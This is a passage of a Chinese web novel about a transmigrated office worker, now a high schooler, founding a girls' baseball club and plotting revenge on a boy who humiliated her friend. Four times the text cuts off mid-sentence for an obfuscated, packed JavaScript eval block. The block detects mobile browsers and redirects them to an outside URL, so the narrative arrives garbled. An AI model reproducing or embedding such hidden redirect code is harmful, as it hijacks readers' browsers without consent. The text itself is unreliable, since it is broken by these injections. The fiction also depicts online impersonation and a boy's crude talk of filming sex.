系统：“……” 系统：“不存在那种情况，给出的奖励物都是跟任务息息相关的东西。” 可是关真夏双眼视力5.0，一整场下来无论是场上的选手中还是板凳席里的候补队员里，她都没找到得到的照片里自己身旁的那个女生。 关真夏若有所思：“难道说这个人不在海野西？总感觉被诈骗了。” 系统十分冷酷：“我好像也没说过这个人和海野西有关系。” 关真夏哦一声，点点头。训练赛刚好结束，两边队员列队互相敬礼，海野西以一分之差险胜对面的惠央女子大学棒球部。因为县内设有女子棒球部的高中屈指可数，平时约训练赛也只能想方设法跨县或者是找大学约。 关真夏一边往出口走，一边复习刚才看比赛时现场从网上搜来的棒球规则讲解。 简单来说就是一场比赛分为9局，每一局又分上下两个半局，比赛双方的队伍轮流做进攻方与防守方，进攻方每次只上场一名队员，负责拿着球棒击球；防守方则上场9人，分别担任投手、捕手和负责接球传球的7个野手。 背到不同的得分方式时关真夏就开始头疼，在心里吐槽这小孩喜欢什么球不好非要喜欢个规则这么复杂的，真想知道有没有不用搞懂规则就能上场打球的方法。 “真夏！” 正当她死活想不起来触杀是什么时，突然前方有人喊她名字。关真夏抬头看，是穿着海野西棒球部制服、刚才在球场上比赛的其中一个女生，浑身是泥土，正夸张地朝她挥手。 ……完了，JK真夏你怎么在哪儿都有人脉啊？ 关真夏堆起与旧友久别重逢的笑，表面上看起来平静其实心里已经死了800回了。 “好久不见啊……？”语调的尾巴上扬，关真夏努力做出一副明明记得这个人但正在努力回忆对方名字的模样。 对面的女生爽朗地笑出来，一巴掌拍在关真夏肩膀上：“认不出我啦？我是你中学一年级的同桌柚月呀，金泽柚月！” 关真夏连忙恍然大悟似的一拍手，也跟着笑起来：“原来是柚月！太久没有见面了，你变化好大啊。” “是吧，我身边人都说我变化大，是不是比初一那会儿变可爱了？而且头发也剪短了，更方便打棒球。” 随口说的话看起来像歪打正着，关真夏松一口气。 “不过那个时候还是你带我了解棒球的，虽然升入初二之后就没怎么见过面了，还以为按照真夏的性格来说的话也会进海高呢。” 原来如此。关真夏眼珠子转了转，心想这是了解女子棒球部的好机会。 “我父母希望我还是好好学习，所以最后去星高了。海高的女子棒球部怎么样呀？人数多吗？” 柚月歪起脑袋开始掰手指，皱着眉数了好一会儿，“加上这一届新入部员应该是41人，比起传统男子棒球强豪校不算多就是了。” “前辈们平时都很温柔，不过训练起来就会变成魔鬼，大多数都是为了打棒球特意来海高的女生，训练热情不是一般的高。”柚月看起来很自豪。 关真夏大概弄清楚情况了。像原主真夏这样喜欢棒球的女孩其实并不稀少，一部分会被周围的大人劝退而放弃，另一部分则会从全县乃至邻县集中在海野西这种以女子棒球部而出名、创部历史足够可观还几度打进女子甲子园的学校。 后者多半家庭支持目标明确，会出现在星高的概率很小；也就是说自己如果想创立女子棒球部的话，需要从身边挖掘隐藏的前者。 见关真夏好半天神情凝重目光放空不知道在想什么，柚月有点摸不着头脑。一旁前辈们在喊她回去开反省会，她只好伸手在神游的关真夏眼前晃了晃，“我得回去了，回头在LINE上聊！” 望着柚月蹦蹦跳跳往回跑的背影，关真夏也连忙挥手告别。 只是赢了一场普通训练赛就高兴成这样，惊讶之余关真夏有些被触动，嘴角也情不自禁上扬起来。 关真夏的青春是被占成数学英语的体育课，往后乃至整个人生都和体育运动没什么缘分，自然也无从得知在竞技类比赛中获胜是什么感觉。甚至她有些难以理解这类运动的意义，追逐着球分出胜负高低，然后徒劳地欢呼或者哭泣，到底是为了什么呢。 对于普通人来说，赢比赛不能获得奖金，输比赛也不会受到惩罚，那么做出的努力又算什么呢。考试里多拿一分、工作中多谈成一个合作，不是要远比那些无用的竞争好得多吗？ 天上的云层散开，傍晚最后一缕落日光洒在她身上，触感温暖。不远处的海高女子棒球部聚成圆阵，有说有笑庆祝着胜利，欢声真切又遥远，关真夏心里突然产生一种从未体验过的悸动。 好纯粹的开心啊。 想握一下棒球试试看，她想。 “啊，关同学，你怎么在这里？” 突兀的说话声将她从思绪里惊醒，好不容易积攒起来的感性在那瞬间灰飞烟灭，关真夏咬牙切齿地朝虚空挥一拳。 她抬头，又是那位像靠近触发对话的话唠NPC一样刷新出来的天野老师，正双手插在裤兜里朝她走过来。 “我来……看一下中学时期的朋友，”关真夏尽自己最大的努力变得礼貌，“老师你为什么也在这里呢？” 天野在她面前站定，用下巴点了个方向，“因为我住这附近。” 天野今天在白色打底上套了件灰色罩衫，依然是与其他老师相比随性得过头的穿搭，让关真夏打心底里产生一种成年人对于另一个成年人的不信任感。什么家住这附近啊，按照这小子在学校的风评，说是来偷看运动的女子高生才对吧。 “啊，原来是这样，”关真夏没空浪费时间和他闲聊，点头行礼示意自己该走了，“老师我得回去写作业了，明天在学校见！” 刚走出几步，天野又出声了。 “棒球部的生活没那么好过哦。” 关真夏脚步一顿，停下来打算听听他要说什么。 “棒球是很残酷的团队游戏，每一个握过球棒的人都在向往甲子园，但只有一整个夏天一场不输的队伍才能站上那里。” “很多人为了棒球浪费掉所有青春，而一个小小的失误就足够毁掉你和队友的全部努力。” “功亏一篑才是绝大多数高中棒球队员的常态。” 与之前在学校看到的每一次吊儿郎当的天野老师都不同，这次他语气出奇的认真，简直就像个……老师。 关真夏转过身：“老师，是希望我不要打棒球吗？” 她看见天野挑了挑眉，下一秒就又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560003|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回复成熟悉的开玩笑似的声调：“我们关同学是全班最认真的学生，我只是怕你都沉迷棒球不学数学的话我教的班数学成绩就要完蛋了，又得被领导喊去问话，怪麻烦的。” 关真夏：“……” 真是莫名其妙，刚才的语重心长果然是幻觉。 她很快就把这场摸不着头脑的偶遇抛之脑后，到家关上房门就开始上网查资料，一边看其他人分享的创部经验一边做笔记，火力全开，拿出了在发布会的前一天被老板指名修改策划案的劲头。 然而第二天她拿着连夜填好的创部申请去找学校部活的总负责老师时迎来的是当头一棒。 “不行。” “为什么啊老师，”关真夏有点急，试图和老师讲道理，毕竟停在这一步的话无异于植物大战僵尸开局买不了向日葵，“一定有很多和我一样喜欢棒球的女生无处可去的！” 老师把申请表往桌上一拍，叹口气。关真夏靠着从职场摸爬滚打练出来的第六感心中警铃大响，眼前表情不耐且身形干瘦的负责老师竟和气势如虹地准备挑自己刺的老板重合起来。 “你应该也知道隔壁的海野西高校以女子棒球部闻名，真喜欢棒球的女生根本不会来我们学校，” “而且我们学校以学习为主，就算是男子棒球部也训练频率很低，不像其他学校那样一周六练完全投入，连甲子园的县内选手权大会第一轮预选赛都没突破过。” “我们学校就是典型的棒球弱校，大家都只是在随便玩玩，目前能划给棒球部的经费也很少。” “而且最重要的是，首先得至少有担当监督、顾问之类职位的老师吧？我们学校老师已经够人手不足了！” 一连串的拒绝理由像老师拉满弓射来的箭，一枚接一枚扎在关真夏身上，每被攻击一次她整个人就缩下去一点。 她发现老师说的……有道理。 关真夏木木地想，恍惚间好像又回到了自己连夜修改后提交的策划案被上司指着鼻子批得一无是处的时候。 其实她不是没想过这些潜在问题。招不到人好说，最少凑齐9个人就能参加比赛，回想之前跟客户谈合作的经验搞定高中生应该小菜一碟；至于资金问题，再怎么说原主的愿望只是创部而不是非得打进甲子园，去捡几个男子棒球棒用剩的装备再号召大家省吃俭用的话也好解决。 只是最后一点，找不到成年人来当责任者的话，的确一切都是空谈。 关真夏耷拉着背往办公室门口走，虽然她抗压能力不错，但说不挫败是不可能的。 在这个世界醒来后她第一次感到孤独，不知道在这人生地不熟的异国他乡，要怎样才能凑齐足够建部的条件。 即使情绪低落她仍靠着惯性在机械式思考。她从小学时爸妈因为感情破裂而不怎么着家、被迫开始独立生活时就意识到了，自己世界里那个漏雨的破洞只能靠自己修补，根本不会有人撑着伞从天而降来拯救她。 还是先想办法凑齐队员，再联名申请吧…… 推开门，却有个沉默地站立在那里的身影猛然出现眼前——是一声没吭的天野守。 关真夏吓一大跳，手里握着的创部申请书一不小心飞了出去，正手忙脚乱时天野比她先一步弯腰，在申请书飘落到地板上之前拾了起来。 他垂头扫两眼，没理会关真夏小声说快还给她的催促，目光越过面前的关真夏的肩膀，直直地望向办公室里的那位负责老师。 “在找到专业人士之前，我来当女子棒球部的责任者就行了吧？” 还是那很有特色的欠揍的天野语气，关真夏却听得愣住了。 5. 关于失恋这件事 家离学校两站路，坐电车的话不到10分钟，结合JK真夏独居这一点来看，应该是为了方便上学家里人给她在学校旁边租的房子。 虽然只有20平出头、离马路近的缘故半夜一两点还能听见汽车呼啸而过的声音，除此之外关真夏是越住越满意。落地窗朝东南方位，采光很充足，尽管是1997年筑成但隔音很好；除去房租的每月5万日元，原主的父母还会在每个月1号汇来6万日元生活费，尽管感情上的交流浅薄，但不难看出物质上他们并没有亏待原主真夏。 关真夏最满意的还要数通学时间短这一点。星高登校时间是8:30，凭借她练就的一身7:50睁眼8点整冲刺到公司的功夫简直是毫无压力。 昨晚她随手点开了一部关于棒球的电视剧，里面的高中也是从濒临废部开始，经过老师的不懈努力才打出像样的比赛，最后甚至成功打进了甲子园。 关真夏于是被那口鸡汤灌得饱腹感十足。 尤其昨天不知道天野跟责任老师说了些什么，还真批下来女子棒球部的暂时活动许可了，不过条件是如果这个学期结束都没凑够人员储备就要立刻废部。 关真夏已经很满足，星高是当地数一数二的名校，之前听说天野那小子是靠家里的关系被塞进来的，现在看来他的关系还真够硬。 事不宜迟，她决定从今天就开始实施挖人计划。 第一步依然打算从那张照片下手。而她的计划是不小心把照片带去学校，再不小心让遥奈看到，最后顺便试着从遥奈嘴里挖一点情报。 通过这几天的相处她大概摸清楚了JK真夏的交际圈里每个人的特点，其中要数栗原遥奈爱交朋友人脉广，一个年级小200人，说不好遥奈和每个人都有交集。 有句老话说得好，事以密成。关真夏打算先不声张，对有潜在入部可能的女生一对一突破，毕竟四起的流言一来不符合关真夏的性格，二来对于创部计划没有任何帮助。 关真夏早早到了教室，离第一节课还有10分钟时遥奈打着哈欠走进来，哐当一声把制服包扔在课桌上。 “第一节课就是数学，好烦啊！” 关真夏点点头深表同情。 “话说上次数学作业的第四题你写出来了吗，借我看一下？”关真夏顺着话头往下说，手伸进书包去掏数学练习册，偷偷把照片夹进书里。 能看出来遥奈大脑的确处于宕机状态，常年数学成绩第一的真夏管她这个垫底生问答案也没觉得奇怪，一边揉着眼睛一边翻练习册，发现一片空白后开朗地笑了：“完全——没写出来，嘿嘿！” 关真夏于是把自己的练习册递过去：“我是这么写的，你看看呢？” 遥奈就下意识接，刚翻开书那张照片就飘了出来。遥奈手忙脚乱地接住，定睛一看后眉毛扬起，指着照片上的女生对关真夏说：“这是日向花吧？高一的时候跟真夏关系最好的女生，可惜高二没跟我们分到一个班。” 这个女生叫日向花，是星高的学生，高一时和自己一个班，关真夏精准地捕捉到这几条信息。 那么只需要知道她在哪个班就好了。 “开学到现在都没有在走廊上看见她，估计教室和我们离得有点远吧。”关真夏说。 没想到遥奈看起来有些惊讶。 “居然连真夏也不知道她的近况吗？发生那种事之后觉得丢脸不想和其他同学接触我也能理解啦，只是没想到连真夏都没告诉。” 发生那种事？ 居然还有隐藏剧情，关真夏握了握拳，只恨这系统自由度太高，如果是有对话框选项的RPG游戏有多好。 她斟酌着不至于被发现她根本不是原来那个和日向花亲密无间的女高的回复：“她是那种不想让朋友担心的人，反而不愿意跟我说吧。” 既然发生不好的事后选择的是沉默，日向花大概是这样的人吧，她想。 遥奈觉得有道理，点点头：“也是，如果是我好不容易鼓起勇气告白却在全校同学面前被拒绝，还被说那么过分的话，我也没脸面对朋友。” 原来如此，关真夏了然，是青春期常见烦恼第一名的告白被拒。 这时青木也刚好走来，听到个尾巴就开口问：“哇遥奈你和谁告白被甩了？” 遥奈白他一眼，“不是我，是刚好提到日向花了！” 青木啊一声，拉开真夏前面的椅子坐下，一边放下书包掏数学课本一边随口回话，“日向花啊，之前和真夏关系很好的吧？以前你俩还经常一起互相抛球玩来着呢，没分在我们班真可惜。” 遥奈对棒球毫无兴趣，一头扑在桌面开始补觉，留关真夏和青木两个人闲聊。 “我今天放学后到19点有打工，结束后去陪你练棒球吧？”青木终于找到了他的数学课本，啪地丢在课桌上后回头跟真夏说话。 一旁的遥奈捕捉到“陪你”这个关键词八卦之心大起，猛地抬起头，满脸“你俩指定有啥不对劲”的笑容。 如果是高中时期的真夏她指定巴不得原地开个新闻发布会来澄清，生怕被人误会，但现在的她想明白了，学生时期的这些起哄多半并不是“觉得你们两个真的在一起了”，而是“青少年需要这些恋爱绯闻来满足躁动的内心”。 但显然真是高中生的青木当真了，甚至有点急，“才没有我和真夏只是好朋友我只是跟她打球没有其他任何事”，连句都不会断了。 还好是我，不是原来的单纯JK关真夏，不然听到单恋对象这样说又得伤心好一会儿了，关真夏小幅度摇摇头叹口气，神色如常地回复青木：“好啊，那我去诚也打工的店等你吧。” “——上课铃都响了，都给我安静点啊。” 关真夏闻言转头，天野守不知道什么时候进的教室，正盯着她这边，目光从青木身上落到她手中的照片上。 自己附近的确热闹得有点过分，关真夏就老老实实地噤声坐好。 直到现在看到天野站在讲台上还是有些不适应，也是这种时候才会有“这不靠谱的大人居然真是个老师”的实感。 其他同学也不情不愿地拖长声音说老师好，不知是对数学课的怨言还是对天野守这个人的怨言。 鉴于昨天他帮助了自己，关真夏决定给他一点面子，翻到今天要学的内容坐得端端正正地抬头看向天野。 天野瞟她一眼，张开嘴，关真夏本以为他要开始讲课了，没想到说出口的是： “我们班的关同学昨天创立了女子棒球部，大家都去捧个场啊。” ……？？ 关真夏瞬间瞪大双眼，望着天野老师飞快地摇头，意思是你不要说出来啊八字还没一撇呢，万一没成多丢脸！ 但她显然忘了天野守是个看见房子着火后第一反应是拍照的人。天野对她一笑，拍拍自己的胸膛，意思是交给我。 ……交给你就全完了你知道吗。 话已出口木已成舟，全班同学早已针对这个新闻讨论得沸沸扬扬，很快就会散布到全年级乃至全校，最后全县都会知道，说不定哪天她走在路上就会被路过的大爷指指点点，说这就是那个不自量力在书呆子学校星原高校创立女子棒球部的人。 关真夏仰着头瘫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560004|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅背上，为自己居然短暂的认可了天野守一下这件事而深感后悔。 数学课还在继续，关真夏却没心思听，神游天外直到下课铃响起。她打算出去转转碰运气看能不能碰到日向花，刚起身却被天野招招手叫过去。 关真夏现在对他没什么好气，于是板着脸问：“怎么了老师。” 天野说：“你今天放学后去一趟球场旁边的仓库，我把春假作业落在那儿了，帮我拿回来一下。” 关真夏：“……” “老师自己去拿不就好了吗？” “今天有竞马比赛的直播，我一下班就要赶回去看，没空拿。” 关真夏忍着往他脸上来一拳的冲动，心想这小孩真没礼貌，你要是知道我比你大三岁你得吓一跳，到时候就老老实实给我道歉吧！ 还是关真夏：“好的老师。” 吱呀一声推开仓库的门，关真夏就被扑面而来的灰尘呛得咳了几声。 入眼全是昭和风景的破破烂烂摇摇欲坠的储物架，堆满了没人使用的闲置体育器材，狭窄的通路也被纸箱堵塞着，让人怀疑天野那家伙当时到底是怎么在这里一觉睡到晚上的。 关真夏皱着眉，只想找到被天野遗落的春假作业后赶紧逃离。 这时门又响了，关真夏转头看——她寻找已久的、照片上的那个女生就这样突兀地出现在眼前。 正是日向花，片桐日向花。 二人面面相觑，沉默了好几秒。 “日向花？你怎么也来这里了？”关真夏先开口。 “天野老师说体育老师找我，让我来这里……”日向花声音不大，语调很平稳。 怎么又是天野？关真夏愣住，回想起数学课时天野落在自己和日向花合照上的目光，再结合完全不见踪影的春假作业，心里隐隐约约升起一种猜测。 ……不会是那家伙故意安排自己和日向花见面的吧？ 关真夏整理一下思路，想起自己寻找日向花的目的，“对了对了，我跟学校申请创立了女子棒球部，高一的时候日向花经常和我玩抛接球来着，现在加入成为第二个部员吧？” 听到棒球两个字，日向花表情暗了暗，动作僵住一瞬。 “不了。”她的拒绝很淡，却异常坚定。 关真夏有点疑惑，和自己打过棒球的日向花，按理来说应该是非常愿意入部的才对。 “为什么？虽然现在没有队员，但我们一起努力的话完全可以凑够人的！” “为什么，真夏你不应该最清楚了吗？”日向花低下头，五指紧紧握成拳，咬着嘴唇声音有点抖。 “不是真夏鼓励我去跟悠太告白的吗？结果被他在那么多人面前拒绝，还说我这种喜欢打棒球的女生不是真正的女生，一点都不可爱，反正丢脸的又不是真夏你！” “我从那个时候就下定决心再也不要打棒球了！” 说毕日向花转身摔门跑出去，关真夏听出了点哭腔，只能茫然地目送她的背影远去。 也对，十几岁的年纪，被喜欢的人拒绝简直是天大的噩耗。关真夏对于安慰受情伤的朋友这种事最不擅长，她满脑子只有那个叫悠太的男生真可恶，迟早要去教训他一顿。 关真夏发呆时有个脑袋从仓库门口探进来，竟是嘴上说着一下班就要赶回去看竞马比赛的天野守：“我又想起来我这几天没来过仓库，春假作业被我带回家了，抱歉啊让你白跑一趟。” “已经和片桐见过面了？” 关真夏转过视线，看向天野，问： “老师，你有日向花的社交媒体账号吗？” 6. 以牙还牙 即使是周六，关真夏依然在快到8点时睁开了眼。 因为上辈子的公司单休，她的生物钟只允许她在星期天睡懒觉。 关真夏是一旦醒过来就很难再入睡的类型，于是她死死关上眼皮尝试一分钟后，面无表情地从床上坐了起来。 随后肌肉记忆一般抄起枕头旁的手机，输入1234解锁，轻车熟路地点进片桐日向花的ins主页，也不管睁没睁开眼埋头就是开刷。 “你是偷窥狂吗？” 脑子里的系统冷不丁地开口，尽管语气听起来真诚又礼貌，配上那毫无感情的机械音调就无端多出几分讥讽的味道。 通过这些天的相处虽心里清楚这系统是纯好奇无恶意，被吓一跳的关真夏仍忍不住没好气地问：“你是人吗？” 系统：“我脱离宿主回总部时有身体，不过我们无法查看自己的样貌，我也不知道我是不是人，我有可能是任何事物，甚至是矿泉水瓶。” 关真夏：“……” 谁问他了？ 哦，自己问的。 我是那个意思吗？？ 本就见底的困意彻底消失，而很不走运日向花的主页没有任何更新，于是关真夏掀开被子跳下床，打算先给自己弄点吃的。 也不怪系统会突然来那么一句，自从经历仓库一事后这整个星期关真夏一有空就点开日向花的ins看，主页里一共有三条帖子，被她反复点开放大观察每一寸细节不下50次。 关真夏又想起在仓库门口下意识脱口问天野要日向花社交账号的那天。 “嗯？” 天野老师扬了扬眉，表示不解。 “你们俩不是朋友吗？为什么会没有她社交账号？” 关真夏心下一惊，刹那间冒出一身冷汗。 不过还好天野是个十足的笨蛋兼废柴，关真夏有些后怕地想，但凡换个脑子好使点的人来自己都该掉码了。 “我的手机昨天掉进河里了，刚换的新手机上没有存她的账号，所以才找老师问的。” 天野就真的恍然大悟似的哦一声，点开ins捣鼓一番后把日向花的主页亮给关真夏看。 关真夏顺手也关注了天野的账号，点开他的粉丝和关注列表发现全是星高的学生，男生女生都有，没想到天野表面上被调侃得一无是处，竟看起来在学生中人气还不错。 而在搜索栏输入日向花的账号后，果不其然已经躺在自己的——原主真夏的互关列表里了。关真夏把手机屏幕扣住，不让天野看见“已互相关注”的字眼。 “有什么需要帮忙的就给我发消息”，天野挥挥手大摇大摆离开时还放言道。 有什么会需要您老人家帮忙的吗，关真夏冷冷地想，想知道老虎机的必胜方法的时候吗。 碍于日本高昂的配送费以及并不合口的食物，曾经靠着外卖过活的关真夏现在的第一选择是晚上8点后去家附近的LIFE超市抢半价便当，没抢到时还会被逼得自己下手弄熟一些食物。 眼下她正一手扒拉着她的早餐——成功了的话本应是煎蛋，却因翻面失败变成了七零八碎的炒蛋；另一手还在锲而不舍地翻看日向花的主页，第51次放大帖子里的图片，恨不得用眼睛把屏幕盯穿。 “你真的不是偷窥狂吗？”系统又发问。 “别问了我是。”关真夏干脆承认，去堵他的话头。 系统缩了缩他并不存在的身体，心想真是人不可貌相，下次回总部汇报工作时要提一下需要注意这位宿主的精神变态问题。 关真夏没空陪他闹，滑动屏幕的手指突然顿住，视线聚焦在照片一隅。 那张照片的主体是一叠甜品以及一杯咖啡，配文是考试期复习好累，而关真夏注目的点是玻璃杯上的反光，依稀倒映出一块佩戴在胸口的名牌，上面刻着“片桐日向花”以及Tuxxxx咖啡店的字样。 看来日向花在某间咖啡店里打工。 Tu后面的字母看不太清，不过好办，关真夏当机立断点开谷歌，输入“Tu”以及“咖啡店”的关键词后自动跳出来了“Tully咖啡店”的联想词。多半就是这家店没错了，剩下的唯一问题是Tully咖啡是连锁店，还需要弄清楚日向花具体在哪一家店打工。 在地图上搜索后，显示本县有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560005|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近30家tully咖啡。关真夏犯了难，一家一家找过去的话，实在太浪费时间了。 她想起前几天遥奈跟她抱怨说想找打工，但问了好几处地方都不要高中生兼职的事。关真夏于是灵机一动，点开兼职招聘软件，添加“tully咖啡”以及“招收高中生兼职”的限制条件，一阵加载后搜索结果只剩下了4个。 其中有一家离星原高校只有3km远。 关真夏啪地一下放下手里的筷子，也不顾早餐刚吃到一半，火速换好衣服蹬进鞋子，往那间tully咖啡赶去。 她是那天冲进去的第一个客人。还在慢悠悠做着准备工作的中年女性店员看见她，停下手头的动作，有些惊讶。 “欢迎光临——请问要点些什么？” 关真夏捋了捋气息，说：“请问片桐日向花在吗？上次在这里被坏人搭讪时她帮我解了围，想来感谢一下她。” 店员一听，了然地一笑：“来找那孩子呀？她只有每周星期一、星期四和星期天的下午在，那几天的傍晚之前来找她吧。” “日向花确实是个好孩子，明明还只是个高中生却很沉稳，有她在我们都觉得很幸运。” 关真夏点点头表示感谢，顺便装模作样地看了看菜单，发现商品名的文字都看得懂，但连在一起就不知道是什么意思，于是点了一杯基础款的拿铁选择外带回家。 “不就是咖啡配牛奶吗，居然卖我600日元。”回家路上关真夏跟系统吐槽，上辈子心疼工资省吃俭用惯了，现在原主父母汇来的生活费也只够一日三餐，远不到可以每天小酌一杯精致咖啡的程度。 系统：“你不买不就好了。” 关真夏：“那多不好意思。” 系统无语，心想还好自己不是人类，不用顾及这些人情世故。 系统想起正题，问她：“你费这么大努力找到她打工的地方做什么？” 关真夏停下脚步，学电视剧里的反派勾起一抹自认为邪恶的笑。 “你听说过这样一句话吗？” “以牙还牙，加倍奉还。”* （*出自《半泽直树》） 7. 加倍奉还 「遥奈！关于2班的三浦悠太你有了解什么吗？」 「嗯？怎么了真夏，好突然」 「因为脸长得好看，还作为学生代表发言，好像喜欢他的女生挺多的吧」 「诶——真的吗？我也是在开学第一天看见他在台上发言后就一直对他很好奇，好像有点喜欢上他了」 ——这是遥奈发送给三浦悠太的聊天记录截图，被悠太洋洋得意地正展示给一圈朋友们看。 看毕，朋友堆里发出一阵起哄声。 “你小子可以啊！这个叫真夏的女生挺漂亮的吧我记得？” “每次考试后表彰榜上都有她，本来还以为是个书呆子呢，没想到背地里这么主动啊！” “真带劲！” 被围在人群中央的三浦悠太笑骂一声，抢回手机，双手往课桌上一撑坐了上去，一条腿伸长踩在过道对面的课桌上，另一条腿吊儿郎当地垂在地上。 “喜欢我的人还少吗？稍微装装温柔她们就失去理智，我说什么就是什么了。” 三浦神神秘秘地伸出手指比了个数字三。 “三次，”他低声笑着说，“像这种一看就没经验的我三次约会就能上本垒。” 周围那群狐朋狗友又爆发出一阵笑声。 “看着挺反差的，记得拍视频啊！” 三浦嘴上骂着滚，但已然完全沉醉在被本遥不可及的乖乖优等生偷偷惦记上的快感中，脑子里开始盘算要从什么视角拍才更刺激。 这时教室门一声响，是被人直接踢开了。 “喂，你们这群家伙，”天野守踱着步出现，表情不算明朗，叫人看不出他在想什么，“放学这么久了还聚集在教室里胡闹，吵死了知不知道？” 三浦从课桌上跳下来，一步一步逼近到天野面前。 “天野，”他挑衅般地开口，“你听到了？” 天野守没说话，沉沉地回视三浦悠太。 “你还没有女朋友吧？我录完视频后也发你一份怎么样？”三浦扬起嘴角，笑着问。 天野守俯下脑袋，贴在三浦耳边，压低声线说了句什么。三浦脸色一变，像是没想到这是会从天野嘴里说出来的话，骂了句脏话头也不回地离开了教室，留下那群朋友面面相觑。 天野很是贴心地侧身让开门口的位置，示意剩下那群学生也赶紧滚蛋。 夜里三浦悠太正躺在床上玩手机时，突然跳出来一条ins的私信提醒。 他想都没想就点了进去。头像是只可爱的小猫，粉丝数为0，关注列表只有自己，一看就是个新开的小号。因为三浦在经营ins账号，设置的是接收所有私信，所以能直接发信息给他。 那条消息的内容是：“是悠太的账号吗？” 三浦犹豫一下，回复了一个问号。 对面出现输入中的浮动省略号标识，不一会儿发过来了一条新消息。 “我是川上唯。” 川上唯。 看见这个名字的一瞬间，三浦先是瞳孔骤然放大，下一秒就从床上蹦了起来。 是被吓的。 川上唯，不是自己高一刚入学时喜欢过的学姐吗？可惜后来……，三浦咬了咬牙强行打断自己的回忆，那是他最不愿想起的黑历史。 但他也没那么容易轻信这个三无小号的话，于是继续问：“你有什么证据证明你是唯前辈？” 对面回复：“还记得那只小猫吗？” “我头像这孩子。” 三浦于是又点开头像仔细看，是一只橘色的猫，最大的特征是粉色鼻头上有一块黑色斑点。 三浦犹豫地打下一个名字：“是……小麦吗？” “没错，就是我们一起救下的那只小猫，小麦。” “现在相信我是唯前辈了吧？” “最近突然想起悠太，想看看你过得怎么样，但你已经把我的账号拉黑了，就只好这样。” 三浦悠太张大嘴巴盯着这段话，半天回不过来神。 高一刚开学那天，他在学校后面的小树林里第一次见到了当时高三的川上唯。她不顾刚下过雨泥泞的土地半跪在地上，正用自己的伞给一只看起来很虚弱的小猫挡雨。 最开始三浦觉得这女的有病，但后来发现那其实是喜欢。 可惜唯前辈被当时棒球部的队长西野翔那小子捷足先登了，三浦恨恨地想，不然她没理由不喜欢自己。 后来因为一些原因告白失败后，自己的确是做了一些，嗯，用于发泄的事，不过那都怪棒球部那群人。 没想到唯前辈居然原谅他，还回来找他说话了…… 三浦眼眶一热，差点掉眼泪。 关真夏盯着已经变成已读但迟迟不见回复的聊天界面，得意地笑出声。 系统纳闷地问：“你要我调取三浦悠太和川上唯的接触历史就是为了这个？” “嗯，”关真夏伏下手机屏幕，打算给三浦一点头脑爆炸的时间，“毕竟从遥奈那儿听说了三浦曾跟川上前辈告白被拒绝的事，可不能浪费了。” “不过你这次居然愿意帮我了系统，有点感动啊。” 系统依旧十分整正经：“因为你不是坏人，不会拿这些情报做坏事。” 关真夏：“……如果宿主要做坏事还不允许吗，那你们还挺刚正不阿的。” “因为和你看过的其他穿越系统不同，这里并不是捏造出来的虚拟世界，而是真实存在的、跟你原来生活的世界是同一个，我们有义务保护这里的其他普通人。”系统解释。 关真夏点点头表示知道了，又点亮手机屏幕，打开自己的line，里面正躺着从遥奈那儿要来的三浦悠太的line账号。她点击添加好友，并编辑一条消息发送出去： 「晚上好～我是跟悠太同年级的关真夏 应该有从遥奈那里听说我了吧？ 如果可以的话，明天放学能和我一起回家吗？ 想更了解悠太一点……！」 这陌生的语气看得系统一阵恶寒。“你准备明天放学路上报复他吗？”系统问。 关真夏高深莫测地摇摇头。 “不急。” 她说，关掉手机打算入睡，心情极好。 第二天放学后，真夏赶到校门时三浦已经在等她了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560006|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“抱歉抱歉，让悠太久等了！” 关真夏气喘吁吁地，出于紧张一般刻意地理了理刘海，像害羞似的不敢看三浦的脸，只是对着地面腼腆地笑。 三浦悠太最熟悉女生的这幅模样，顿觉胜算又高三分，于是假装温柔地说：“没事的，我没有等很久，而且等待的是真夏同学，所以很开心。” 关真夏冷冷地在脑中吐槽：“哟，还真夏同学，装什么呢。” 系统：……我有的时候觉得这女人是不是有双重人格。 